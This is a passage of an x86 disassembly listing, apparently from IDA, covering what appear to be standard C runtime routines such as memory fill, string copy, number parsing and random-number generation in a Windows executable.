XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB32C push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC948 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC940 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C324 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC944 call near ptr 27B0000h nop loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C534, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C534, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A2CC test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2F0, edi jnz short loc_41B7F0 push [esp+4+arg_0] call near ptr 270069Ah nop push eax nop call near ptr 26F0AF0h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2EC, edi mov byte_4DB2E8, bl jnz short loc_41B844 mov eax, dword_4DC95C test eax, eax jz short loc_41B833 mov ecx, dword_4DC958 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC95C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2F0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A2B0, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A2B0 imul eax, 343FDh add eax, 269EC3h mov dword_43A2B0, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC821[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C534, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C534, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C534, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C328 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov 